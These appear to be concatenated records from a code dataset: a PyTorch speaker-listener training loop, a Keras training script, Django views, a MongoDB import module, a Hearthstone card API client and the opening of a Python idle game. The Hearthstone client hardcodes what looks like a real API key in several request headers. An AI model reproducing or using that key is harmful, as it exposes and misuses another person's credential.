speaker_loss_dict.values())\n\n # reduce losses over all GPUs for logging purposes\n if not not cfg.LISTENER.JOINT:\n speaker_loss_dict_reduced = reduce_loss_dict(speaker_loss_dict)\n speaker_losses_reduced = sum(loss for loss in speaker_loss_dict_reduced.values())\n speaker_losses_reduced /= num_gpus\n\n if is_main_process():\n wandb.log({\"Train Speaker Loss\": speaker_losses_reduced}, listener_iteration)\n\n listener_loss = 0\n gap_reward = 0\n avg_acc = 0\n num_correct = 0\n \n score_matrix = score_matrix.to(device)\n # fill loss matrix\n loss_matrix = torch.zeros( (2, images.size(0), images.size(0)), device=device)\n # sg centered scores\n for true_index in range(loss_matrix.size(1)):\n row_score = score_matrix[true_index]\n (true_scores, predicted_scores, binary) = format_scores(row_score, true_index, device)\n loss_vec = listener_loss_func(true_scores, predicted_scores, binary)\n loss_matrix[0][true_index] = loss_vec\n # image centered scores\n transposted_score_matrix = score_matrix.t()\n for true_index in range(loss_matrix.size(1)):\n row_score = transposted_score_matrix[true_index]\n (true_scores, predicted_scores, binary) = format_scores(row_score, true_index, device)\n loss_vec = listener_loss_func(true_scores, predicted_scores, binary)\n loss_matrix[1][true_index] = loss_vec\n\n\n print('iteration:', listener_iteration)\n sg_acc = 0\n img_acc = 0\n # calculate accuracy\n for i in range(loss_matrix.size(1)):\n temp_sg_acc = 0\n temp_img_acc = 0\n for j in range(loss_matrix.size(2)):\n if loss_matrix[0][i][i] > loss_matrix[0][i][j]:\n temp_sg_acc += 1\n else:\n if cfg.LISTENER.HTML:\n if is_main_process() and listener_iteration>=600 and listener_iteration % 25 ==0 and i != j:\n detached_sg_i = (sgs[i][0].detach(), sgs[i][1], sgs[i][2].detach())\n detached_sg_j = (sgs[j][0].detach(), sgs[j][1], sgs[j][2].detach())\n mistake_saver.add_mistake((image_ids[i],image_ids[j]), (detached_sg_i,detached_sg_j), listener_iteration, 'SG')\n if loss_matrix[1][i][i] > loss_matrix[1][j][i]:\n temp_img_acc += 1 \n else:\n if cfg.LISTENER.HTML:\n if is_main_process() and listener_iteration>=600 and listener_iteration % 25 == 0 and i!=j:\n detached_sg_i = (sgs[i][0].detach(), sgs[i][1], sgs[i][2].detach())\n detached_sg_j = (sgs[j][0].detach(), sgs[j][1], sgs[j][2].detach())\n mistake_saver.add_mistake((image_ids[i],image_ids[j]), (detached_sg_i,detached_sg_j), listener_iteration, 'IMG')\n\n temp_sg_acc = temp_sg_acc*100/(loss_matrix.size(1)-1)\n temp_img_acc = temp_img_acc*100/(loss_matrix.size(1)-1)\n sg_acc += temp_sg_acc\n img_acc += temp_img_acc\n if cfg.LISTENER.HTML:\n if is_main_process() and listener_iteration % 100 == 0 and listener_iteration >= 600: \n mistake_saver.toHtml('/www')\n \n sg_acc /= loss_matrix.size(1)\n img_acc /= loss_matrix.size(1)\n\n avg_sg_acc = torch.tensor([sg_acc]).to(device)\n avg_img_acc = torch.tensor([img_acc]).to(device)\n # reduce acc over all gpus\n avg_acc = {'sg_acc' : avg_sg_acc, 'img_acc' : avg_img_acc}\n avg_acc_reduced = reduce_loss_dict(avg_acc)\n \n sg_acc = sum(acc for acc in avg_acc_reduced['sg_acc'])\n img_acc = sum(acc for acc in avg_acc_reduced['img_acc'])\n \n # log acc to wadb\n if is_main_process():\n wandb.log({\n \"Train SG Accuracy\": sg_acc.item(),\n \"Train IMG Accuracy\": img_acc.item()\n })\n \n \n sg_loss = 0\n img_loss = 0\n\n for i in range(loss_matrix.size(0)):\n for j in range(loss_matrix.size(1)):\n loss_matrix[i][j][j] = 0.\n \n for i in range(loss_matrix.size(1)):\n sg_loss += torch.max(loss_matrix[0][i])\n img_loss += torch.max(loss_matrix[1][:][i])\n \n sg_loss = sg_loss / loss_matrix.size(1)\n img_loss = img_loss / loss_matrix.size(1)\n sg_loss = sg_loss.to(device)\n img_loss = img_loss.to(device)\n\n loss_dict = {\n 'sg_loss' : sg_loss,\n 'img_loss' : img_loss\n }\n\n losses = sum(loss for loss in loss_dict.values())\n\n # reduce losses over all GPUs for logging purposes\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n sg_loss_reduced = loss_dict_reduced['sg_loss']\n img_loss_reduced = loss_dict_reduced['img_loss']\n if is_main_process():\n wandb.log({\"Train SG Loss\": sg_loss_reduced})\n wandb.log({\"Train IMG Loss\": img_loss_reduced})\n \n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss=losses_reduced, **loss_dict_reduced)\n\n\n losses = losses + speaker_summed_losses * cfg.LISTENER.LOSS_COEF\n # Note: If mixed precision is not used, this ends up doing nothing\n # Otherwise apply loss scaling for mixed-precision recipe\n #losses.backward()\n if not cfg.LISTENER.JOINT:\n with amp.scale_loss(losses, listener_optimizer) as scaled_losses:\n scaled_losses.backward()\n else:\n with amp.scale_loss(losses, speaker_listener_optimizer) as scaled_losses:\n scaled_losses.backward()\n\n\n verbose = (iteration % cfg.SOLVER.PRINT_GRAD_FREQ) == 0 or print_first_grad # print grad or not\n print_first_grad = False\n #clip_grad_value([(n, p) for n, p in listener.named_parameters() if p.requires_grad], cfg.LISTENER.CLIP_VALUE, logger=logger, verbose=True, clip=True)\n if not cfg.LISTENER.JOINT:\n listener_optimizer.step()\n else:\n speaker_listener_optimizer.step()\n \n batch_time = time.time() - end\n end = time.time()\n meters.update(time=batch_time, data=data_time)\n\n eta_seconds = meters.time.global_avg * (max_iter - iteration)\n eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n\n if cfg.LISTENER.JOINT:\n if iteration % 200 == 0 or iteration == max_iter:\n logger.info(\n meters.delimiter.join(\n [\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\",\n \"lr: {lr:.6f}\",\n \"max mem: {memory:.0f}\",\n ]\n ).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr=speaker_listener_optimizer.param_groups[-1][\"lr\"],\n memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,\n )\n )\n else: \n if iteration % 200 == 0 or iteration == max_iter:\n logger.info(\n meters.delimiter.join(\n [\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\", \n \"lr: {lr:.6f}\",\n \"max mem: {memory:.0f}\",\n ]\n ).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr=listener_optimizer.param_groups[-1][\"lr\"],\n memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,\n )\n )\n \n\n if iteration % checkpoint_period == 0:\n \"\"\"\n print('Model before save')\n print('****************************')\n print(listener.gnn.conv1.node_model.node_mlp_1[0].weight)\n print('****************************')\n \"\"\"\n if not cfg.LISTENER.JOINT:\n listener_checkpointer.save(\"model_{:07d}\".format(listener_iteration), amp=amp.state_dict())\n else:\n speaker_checkpointer.save(\"model_speaker{:07d}\".format(iteration))\n listener_checkpointer.save(\"model_listenr{:07d}\".format(listener_iteration), amp=amp.state_dict())\n if iteration == max_iter:\n if not cfg.LISTENER.JOINT:\n listener_checkpointer.save(\"model_{:07d}\".format(listener_iteration), amp=amp.state_dict())\n else:\n speaker_checkpointer.save(\"model_{:07d}\".format(iteration))\n listener_checkpointer.save(\"model_{:07d}\".format(listener_iteration), amp=amp.state_dict())\n\n\n val_result = None # used for scheduler updating\n if cfg.SOLVER.TO_VAL and iteration % cfg.SOLVER.VAL_PERIOD == 0:\n logger.info(\"Start validating\")\n val_result = run_val(cfg, model, listener, val_data_loaders, distributed, logger)\n (sg_loss, img_loss, sg_acc, img_acc, speaker_val) = val_result\n \n if is_main_process():\n wandb.log({\n \"Validation SG Accuracy\": sg_acc,\n \"Validation IMG Accuracy\": img_acc,\n \"Validation SG Loss\": sg_loss,\n \"Validation IMG Loss\": img_loss,\n \"Validation Speaker\" : speaker_val,\n })\n \n \n #logger.info(\"Validation Result: %.4f\" % val_result)\n except Exception as err:\n raise(err)\n print('Dataset finished, creating new')\n train_data_loader = make_data_loader(\n cfg,\n mode='train',\n is_distributed=distributed,\n start_iter=arguments[\"iteration\"],\n ret_images=True\n )\n \n total_training_time = time.time() - start_training_time\n total_time_str = str(datetime.timedelta(seconds=total_training_time))\n logger.info(\n \"Total training time: {} ({:.4f} s / it)\".format(\n total_time_str, total_training_time / (max_iter)\n )\n )\n return listener\n\ndef fix_eval_modules(eval_modules):\n for module in eval_modules:\n for _, param in module.named_parameters():\n param.requires_grad = False\n # DO NOT use module.eval(), otherwise the module will be in the test mode, i.e., all self.training condition is set to False\n\ndef run_val(cfg, model, listener, val_data_loaders, distributed, logger):\n if distributed:\n model = model.module\n torch.cuda.empty_cache()\n iou_types = (\"bbox\",)\n if cfg.MODEL.MASK_ON:\n iou_types = iou_types + (\"segm\",)\n if cfg.MODEL.KEYPOINT_ON:\n iou_types = iou_types + (\"keypoints\",)\n if cfg.MODEL.RELATION_ON:\n iou_types = iou_types + (\"relations\", )\n if cfg.MODEL.ATTRIBUTE_ON:\n iou_types = iou_types + (\"attributes\", )\n\n dataset_names = cfg.DATASETS.VAL\n val_result = []\n for dataset_name, val_data_loader in zip(dataset_names, val_data_loaders):\n \n listener_dataset_result = listener_inference(\n cfg,\n model,\n listener,\n val_data_loader,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=None,\n logger=logger,\n )\n speaker_dataset_result = inference(\n cfg,\n model,\n val_data_loader,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=None,\n logger=logger,\n )\n synchronize()\n if type(listener_dataset_result) is not tuple:\n listener_dataset_result = (listener_dataset_result,)\n if type(speaker_dataset_result) is not tuple:\n speaker_dataset_result = (speaker_dataset_result,)\n dataset_result = (listener_dataset_result + speaker_dataset_result)\n val_result.append(dataset_result)\n\n organized_result = [[val_result[i][j] for i in range(len(val_result))] for j in range(len(val_result[0]))]\n final_result = []\n for i in range(len(organized_result)):\n # support for multi gpu distributed testing\n gathered_result = all_gather(torch.tensor(organized_result[i]).cpu())\n gathered_result = [t.view(-1) for t in gathered_result]\n gathered_result = torch.cat(gathered_result, dim=-1).view(-1)\n valid_result = gathered_result[gathered_result>=0]\n val_result = float(valid_result.mean())\n final_result.append(val_result)\n del gathered_result, valid_result\n torch.cuda.empty_cache()\n return tuple(final_result)\n\ndef run_test(cfg, model, listener, distributed, logger):\n if distributed:\n model = model.module\n torch.cuda.empty_cache()\n iou_types = (\"bbox\",)\n if cfg.MODEL.MASK_ON:\n iou_types = iou_types + (\"segm\",)\n if cfg.MODEL.KEYPOINT_ON:\n iou_types = iou_types + (\"keypoints\",)\n if cfg.MODEL.RELATION_ON:\n iou_types = iou_types + (\"relations\", )\n if cfg.MODEL.ATTRIBUTE_ON:\n iou_types = iou_types + (\"attributes\", )\n output_folders = [None] * len(cfg.DATASETS.TEST)\n dataset_names = cfg.DATASETS.TEST\n if cfg.OUTPUT_DIR:\n for idx, dataset_name in enumerate(dataset_names):\n output_folder = os.path.join(cfg.OUTPUT_DIR, \"inference\", dataset_name)\n mkdir(output_folder)\n output_folders[idx] = output_folder\n data_loaders_val = make_data_loader(cfg, mode='test', is_distributed=distributed)\n for output_folder, dataset_name, data_loader_val in zip(output_folders, dataset_names, data_loaders_val):\n listener_inference(\n cfg,\n model,\n listener,\n data_loader_val,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=output_folder,\n logger=logger,\n )\n synchronize()\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"PyTorch Relation Detection Training\")\n parser.add_argument(\n \"--config-file\",\n default=\"\",\n metavar=\"FILE\",\n help=\"path to config file\",\n type=str,\n )\n parser.add_argument(\"--local_rank\", type=int, default=0)\n parser.add_argument(\n \"--skip-test\",\n dest=\"skip_test\",\n help=\"Do not test the final model\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"opts\",\n help=\"Modify config options using the command-line\",\n default=None,\n nargs=argparse.REMAINDER,\n )\n\n args = parser.parse_args()\n \n num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n cfg.NUM_GPUS = num_gpus\n args.distributed = num_gpus > 1\n\n if args.distributed:\n torch.cuda.set_device(args.local_rank)\n torch.distributed.init_process_group(\n backend=\"nccl\", init_method=\"env://\"\n )\n synchronize()\n\n cfg.merge_from_file(args.config_file)\n cfg.merge_from_list(args.opts)\n cfg.freeze()\n\n output_dir = cfg.OUTPUT_DIR\n if output_dir:\n mkdir(output_dir)\n\n listener_dir = cfg.LISTENER_DIR\n if listener_dir:\n mkdir(listener_dir) \n\n logger = setup_logger(\"maskrcnn_benchmark\", output_dir, get_rank())\n logger.info(\"Using {} GPUs\".format(num_gpus))\n logger.info(args)\n\n logger.info(\"Collecting env info (might take some time)\")\n logger.info(\"\\n\" + collect_env_info())\n\n logger.info(\"Loaded configuration file {}\".format(args.config_file))\n with open(args.config_file, \"r\") as cf:\n config_str = \"\\n\" + cf.read()\n logger.info(config_str)\n logger.info(\"Running with config:\\n{}\".format(cfg))\n \"\"\"\n output_config_path = os.path.join(cfg.OUTPUT_DIR, 'config.yml')\n logger.info(\"Saving config into: {}\".format(output_config_path))\n # save overloaded model config in the output directory\n save_config(cfg, output_config_path)\n \"\"\"\n\n\n listener_config_path = os.path.join(cfg.LISTENER_DIR, 'config.yml')\n logger.info(\"Saving config into: {}\".format(listener_config_path))\n # save overloaded model config in the output directory\n save_config(cfg, listener_config_path)\n\n listener = train(cfg, args.local_rank, args.distributed, logger)\n\n if not args.skip_test:\n run_test(cfg, model, listener, args.distributed, logger)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tools/speaker_listener_class_train.py","file_name":"speaker_listener_class_train.py","file_ext":"py","file_size_in_byte":32705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"562807248","text":"from os import path\nfrom google.colab import drive\n\nnotebooks_dir_name = 'notebooks'\ndrive.mount('/content/gdrive')\nnotebooks_base_dir = path.join('./gdrive/My Drive/', notebooks_dir_name)\n\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras import optimizers, datasets, layers, models\nimport random\n\ndb = 'top'\ntable_list = ['result', 'detail', 'laning']\n\nX_champion, X_duration, X_self, X_diff = {}, {}, {}, {}\nY, key, mod = {}, {}, {}\n\nfor i in range(5):\n X_champion[i] = np.load('./gdrive/My Drive/notebooks/s11/v02/%s/champion_%d.npy' % (db, i))\n X_duration[i] = np.load('./gdrive/My Drive/notebooks/s11/v02/duration_%d.npy' % (i))\n Y[i] = np.load('./gdrive/My Drive/notebooks/s11/v02/Y_%d.npy' % (i))\n key[i] = np.load('./gdrive/My Drive/notebooks/s11/v02/key_%d.npy' % (i))\n mod[i] = np.load('./gdrive/My Drive/notebooks/s11/v02/mod_%d.npy' % (i))\n \nfor table in table_list:\n X_self[table] = {}\n X_diff[table] = {}\n for i in range(5):\n X_self[table][i] = np.load('./gdrive/My Drive/notebooks/s11/v02/%s/%s_data_self_%d.npy' % (db, table, i))\n X_diff[table][i] = np.load('./gdrive/My Drive/notebooks/s11/v02/%s/%s_data_diff_%d.npy' % (db, table, i))\n \nX = {}\n\nfor i in range(5):\n X[i] = np.concatenate((X_champion[i], X_duration[i], X_self['result'][i], X_self['detail'][i], X_self['laning'][i], \n X_diff['result'][i], X_diff['detail'][i], X_diff['laning'][i]), axis=1)\n \nlr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(\n initial_learning_rate=0.001, decay_steps=72279, decay_rate=0.3, staircase=True)\n\ncallback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=5)\n\ndef build_model(input_size):\n model = models.Sequential()\n\n model.add(layers.Dense(500, activation=tf.sigmoid, input_shape=(input_size,)))\n model.add(layers.Dense(100, activation=tf.sigmoid))\n model.add(layers.Dense(2, activation='softmax'))\n\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=lr_schedule),\n loss='sparse_categorical_crossentropy',\n metrics=['sparse_categorical_accuracy'])\n \n return model\n \ntrain_order = [[0,1,2], [1,2,3], [2,3,4], [3,4,0], [4,0,1]]\nvalid_order = [3, 4, 0, 1, 2]\ntest_order = [4, 0, 1, 2, 3]\n\nacc, ratio = {}, {}\n\nfor i in range(1):\n name = 'test_%d' % (test_order[i])\n\n X_train = np.concatenate((X[train_order[i][0]], X[train_order[i][1]], X[train_order[i][2]]))\n Y_train = np.concatenate((Y[train_order[i][0]], Y[train_order[i][1]], Y[train_order[i][2]]))\n X_valid = X[valid_order[i]]\n Y_valid = Y[valid_order[i]]\n X_test = X[test_order[i]]\n Y_test = Y[test_order[i]]\n\n model = build_model(len(X_train[0]))\n model.fit(X_train, Y_train, verbose=0, validation_data=(X_valid, Y_valid), epochs=40, batch_size=256, callbacks=[callback])\n acc[name] = model.evaluate(X_test, Y_test, verbose=0)[1]\n\n predict = np.sort(model.predict(X_test)[:, 1])\n ratio[name] = []\n for j in range(1000):\n ratio[name].append(predict[int(j*len(X_test)/1000)])\n ratio[name].append(predict[-1])\n\n print(name)\n print(acc[name])\n \n model.save('./gdrive/My Drive/notebooks/s11/v02/%s/test_%d' % (db, test_order[i]))\n np.save('./gdrive/My Drive/notebooks/s11/v02/%s/test_%d/ratio' % (db, test_order[i]), ratio[name])\n\nprint(acc)\n","sub_path":"vv2/train_top.py","file_name":"train_top.py","file_ext":"py","file_size_in_byte":3310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"646408318","text":"from torchvision import models as torchmodels\nimport zoo\n\n\ndef get_tvision(name, model_args={}, num_classes=\"same\"):\n model = getattr(torchmodels, name)(**model_args)\n if num_classes != \"same\":\n raise NotImplementedError(\"[ERROR] \\t The behavior of tvision models \\\n for different classes is not implemented\")\n return model\n\n\ndef get_from_zoo(name, args):\n return getattr(zoo, name)(**args)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"317892097","text":"from django.shortcuts import render, HttpResponse\nfrom SQLS.tangshi_sqls import TangShi\nimport json\n\n\n# Create your views here.\ndef poemers_search(request):\n if request.method == 'POST':\n poemer = request.POST['poemer']\n print(poemer)\n tangshi = TangShi()\n poemers_datas = tangshi.per_poemer_data(poemer)\n if not poemer:\n return HttpResponse('未输入诗人姓名')\n elif not poemers_datas:\n return HttpResponse('无此诗人数据')\n else:\n if tangshi.check_word_cloud(poemer):\n return render(request, 'tangshi/poemers_search.html',\n {'poemers_datas': poemers_datas,\n 'poemer': poemer}\n )\n else:\n tangshi.make_poemer_word_clound(poemer)\n return render(request, 'tangshi/poemers_search.html',\n {'poemers_datas': poemers_datas,\n 'poemer': poemer}\n )\n else:\n return HttpResponse('无数据')\n\n\ndef poemers(request):\n tangshi = TangShi()\n all_poemers_datas = tangshi.all_poemers_data()\n return render(request, 'tangshi/poemers.html',\n {'all_poemers_datas': all_poemers_datas,\n 'poemer_alt': ''}\n )\n#导出全部\ndef export_all_excel(request):\n tangshi = TangShi()\n alert_text = tangshi.export_excel(None)\n return HttpResponse(alert_text)\n\ndef export_per_excel(request):\n poemer = request.POST['poemer']\n print('xxxxx',poemer)\n tangshi = TangShi()\n poemers_datas = tangshi.per_poemer_data(poemer)\n print(poemers_datas)\n if not poemer:\n return HttpResponse('未输入诗人姓名 导出失败')\n elif not poemers_datas:\n return HttpResponse('无此诗人数据')\n else:\n alert_text = tangshi.export_excel(poemer)\n # else:\n return HttpResponse(alert_text)\n\n\ndef all_word_cloud(request):\n tangshi = TangShi()\n all_poemers = tangshi.make_all_word_cloud()\n # return render(request, 'tangshi/all_poemers_words_cloud.html', {'all_poemers': all_poemers})\n return HttpResponse(json.dumps(all_poemers), content_type='application/json')\n # return render(request, 'tangshi/return_ciyun.html', {'all_poemers': json.dumps(all_poemers)})\n\n\ndef poem_ajax(request):\n tangshi = TangShi()\n all_poemers_datas = tangshi.all_poemers_data()\n pages_tuple = divmod(len(all_poemers_datas), 16)\n if pages_tuple[1] != 0:\n pages = pages_tuple[0] + 1\n else:\n pages = pages_tuple[0]\n item = {}\n for page in range(1,pages+1):\n start = (page - 1) * 16\n end = page * 16\n item[page] = all_poemers_datas[start:end]\n print(item)\n return HttpResponse(json.dumps(item[2]))\n\n\n","sub_path":"maoyan/tangshi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"520572436","text":"from pymongo import MongoClient\nimport pandas as pd\nimport logging\nimport datetime\n\n\"\"\"logging setup\"\"\"\nLOG_FORMAT = '%(asctime)s %(filename)s:%(lineno)-3d %(levelname)s %(message)s'\nFORMATTER = logging.Formatter(LOG_FORMAT)\n\nLOG_FILE = datetime.datetime.now().strftime(\"%Y-%m-%d\") + '.log'\n\nFILE_HANDLER = logging.FileHandler(LOG_FILE)\nFILE_HANDLER.setFormatter(FORMATTER)\nFILE_HANDLER.setLevel(logging.INFO)\n\n\nLOG = logging.getLogger()\nLOG.setLevel(logging.INFO)\nif not LOG.hasHandlers():\n LOG.addHandler(FILE_HANDLER)\n\n\nclass MongoDBConnection():\n \"\"\"MongoDB Connection\"\"\"\n\n def __init__(self, host='127.0.0.1', port=27017):\n \"\"\" be sure to use the ip address not name for local windows\"\"\"\n self.host = host\n self.port = port\n self.connection = None\n\n def __enter__(self):\n self.connection = MongoClient(self.host, self.port)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.connection.close()\n\n\ndef show_available_products():\n mongo = MongoDBConnection()\n with mongo:\n db = mongo.connection.media\n displayed_items = {}\n for item in db[\"products\"].find():\n try:\n if int(item[\"quantity_available\"])>0:\n displayed_items[f\"prd{len(displayed_items)+1}\"] = item\n LOG.info(f\"Displaying item {item}\")\n except ValueError:\n LOG.info(\"Invalid quantity, use numbers in the future\")\n return displayed_items\n\n\ndef show_rentals(product_id):\n mongo = MongoDBConnection()\n with mongo:\n db = mongo.connection.media\n displayed_items = {}\n for rentals in db[\"rentals\"].find({\"product_id\": f\" {product_id}\"}):\n rental_people = rentals[\"customer_id\"]\n for people in db[\"customers\"].find():\n if people[\"customer_id\"] in rental_people:\n displayed_items[f\"user{len(displayed_items) + 1}\"] = people\n no_doubles_counter = False\n LOG.info(f\"showing {people}\")\n elif rental_people in people[\"customer_id\"] and no_doubles_counter:\n displayed_items[f\"user{len(displayed_items) + 1}\"] = people\n LOG.info(f\"showing {people}\")\n else:\n LOG.info(\"no customer found\")\n return displayed_items\n\n\n\ndef import_data(directory_name, product_file, customer_file, rentals_file):\n mongo = MongoDBConnection()\n with mongo:\n db = mongo.connection.media\n databases = (db[\"products\"], db[\"customers\"], db[\"rentals\"])\n answer = input(\"Would you like to clear the database?(yes/no): \")\n if answer.lower() == \"yes\":\n for item in databases:\n item.drop()\n files = (product_file, customer_file, rentals_file)\n input_count = []\n error_count = []\n for file, data in zip(files, databases):\n LOG.info(f\"starting loading {str(file)}\")\n bad_count = 0\n count = 0\n try:\n new_data = pd.read_csv(f\"{directory_name}/{file}.csv\")\n data.insert_many(new_data.to_dict(\"records\"))\n count += 1\n LOG.info(f\"Database,{data} updated successfully\")\n except FileNotFoundError:\n bad_count += 1\n LOG.info(f\"Failed to update {data}\")\n input_count.append(count)\n error_count.append(bad_count)\n return tuple(input_count), tuple(error_count)","sub_path":"students/Ben_freeman/lesson05/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"531125523","text":"import requests\nimport json\n\ndef get_by_name(value):\n response = requests.get(\"https://omgvamp-hearthstone-v1.p.mashape.com/cards/{}\".format(value),\n headers={\n \"X-Mashape-Key\": \"lTuoNtbRiBmsh8IwvflQcKNHCzeFp1iYcr3jsnuAVWpmFtUVOV\",\n \"Accept\": \"application/json\"\n }\n )\n\n json_result = response.json()\n\n print(\"\"\"Name: {}\nCardset: {}\nCost: {}\nAttack: {}\nHealth: {}\nRarity: {}\nText: {}\n\"\"\".format(json_result[0].get('name'), json_result[0].get('cardSet'),json_result[0].get('cost'),json_result[0].get('attack'),json_result[0].get('health'),json_result[0].get('rarity'),json_result[0].get('text')))\n\ndef get_by_class(value):\n response = requests.get(\"https://omgvamp-hearthstone-v1.p.mashape.com/cards/classes/{}\".format(value),\n headers={\n \"X-Mashape-Key\": \"lTuoNtbRiBmsh8IwvflQcKNHCzeFp1iYcr3jsnuAVWpmFtUVOV\"\n }\n )\n\n json_result = response.json()\n\n for item in json_result:\n print(item['name'])\n\ndef get_by_set(value):\n response = requests.get(\"https://omgvamp-hearthstone-v1.p.mashape.com/cards/sets/{}\".format(value),\n headers={\n \"X-Mashape-Key\": \"lTuoNtbRiBmsh8IwvflQcKNHCzeFp1iYcr3jsnuAVWpmFtUVOV\"\n }\n )\n\n json_result = response.json()\n\n for item in json_result:\n print(item['name'])\n\ndef get_by_race(value):\n response = requests.get(\"https://omgvamp-hearthstone-v1.p.mashape.com/cards/races/{}\".format(value),\n headers={\n \"X-Mashape-Key\": \"lTuoNtbRiBmsh8IwvflQcKNHCzeFp1iYcr3jsnuAVWpmFtUVOV\"\n }\n )\n\n json_result = response.json()\n\n for item in json_result:\n print(item['name'])\n\ndef get_info(value):\n response = requests.get(\"https://omgvamp-hearthstone-v1.p.mashape.com/info\",\n headers={\n \"X-Mashape-Key\": \"lTuoNtbRiBmsh8IwvflQcKNHCzeFp1iYcr3jsnuAVWpmFtUVOV\",\n \"Accept\": \"application/json\"\n }\n )\n\n json_result = response.json()\n\n for item in json_result[value]:\n print(item)\n\n#####################################\nwhile True:\n choice = input(\"\"\"\nWhat would you like to search by?\n1) Name\n2) Class\n3) Card Set\n4) Race\n5) List all Classes\n6) List all Card Sets\n7) List all Races\n>\"\"\")\n\n if choice == '1':\n print()\n value = input(\"Enter the name of the card you want:\\n>\")\n print()\n get_by_name(value)\n elif choice == '2':\n print()\n value = input(\"Enter the name of the class:\\n>\").title()\n print()\n get_by_class(value)\n elif choice == '3':\n print()\n value = input(\"Enter the Set:\\n>\").title()\n print()\n get_by_set(value)\n elif choice == '4':\n print()\n value = input(\"Enter the Race:\\n>\").title()\n print()\n get_by_race(value)\n elif choice == '5':\n print()\n get_info('classes')\n elif choice == '6':\n print()\n get_info('sets')\n elif choice == '7':\n print()\n get_info('races')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"626374942","text":"# AURORA (C) 2019 James Haywood/SomewhereOutInSpace\n# This python code can be freely modified and used, but you must credit me. Also, this code may not be used for commercial gains without my authorization.\n# (The exception is YouTube videos. If you make a YouTube video about Aurora, just send me a link)\n# All audio and image assets are privately held and should not be redistributed, except within the original version of AURORA.\n\nimport tkinter #hit that GUI library\nimport time #the basic flow of the universe is a necessary module\nimport datetime#the program knows how long you've been gone!\nimport random #all good software needs some random\nfrom threading import Thread #run ALL THE FUNCTIONS at the SAME TIME (fuuuuture)\nfrom pygame import mixer #audio is important kids, just don't put the mp3 files in the wrong place and agonize over it for three hours\nimport shelve #save games are essential, use shelve so long as you don't have too many variables\n\nglobal newGame\nglobal saveReset \nglobal saveProj\nglobal saveStat\nnewGame = True\nsaveReset = False\n\nglobal energy #the basic currency of AURORA\nglobal energysec #how much energy you're generating per second without input\nglobal energenout\nglobal timeAway\nglobal upgrades #upgrades you've purchased (numerically identified)\nglobal availablefab #all fabricatable modules\nglobal availableproj #most executable projects (spaghet code yknow, makes absolutes hard)\nglobal milestones #story/progression milestones you've reached (identified by number or string, idk anymore)\n\nglobal musicDisabled\nmusicDisabled = True\n\n#Galactic Navigation progress vars\nglobal lockprogress\nglobal accelprogress\n\n# --- BEGIN FABRICATABLE MODULE VARIABLES ---\nglobal fuelcells\nglobal fuelcellscost\nglobal fuelcellout\n\nglobal fission\nglobal fissioncost\nglobal fissionout\n\nglobal fusion\nglobal fusioncost\nglobal fusionout\n\nglobal dmcore\nglobal dmcorecost\nglobal dmcoreout\n\nglobal ramscoop\nglobal ramscoopcost\nglobal ramscoopout\n\nglobal singcore\nglobal singcorecost\nglobal singcoreout\n\nglobal qfoam\nglobal qfoamcost\nglobal qfoamout\n\nglobal conver\nglobal convercost\nglobal converout\nglobal sliptap\nglobal sliptapcost\nglobal sliptapout\nglobal rent\nglobal rentcost\nglobal rentout\nglobal engine\nglobal enginecost\nglobal engineout\n\n# --- END FABRICATABLE MODULE VARIABLES ---\n\n# define all audio files used\nmixer.init(channels=2)\naialert = mixer.Sound(\"SFX/alert.ogg\")\nconalert = mixer.Sound(\"SFX/console.ogg\")\nbootup = mixer.Sound(\"SFX/bootup/boot.ogg\")\nauroraonline = mixer.Sound(\"SFX/bootup/aurora_online.ogg\")\naionline = mixer.Sound(\"SFX/bootup/ai_online.ogg\")\nfabonline = 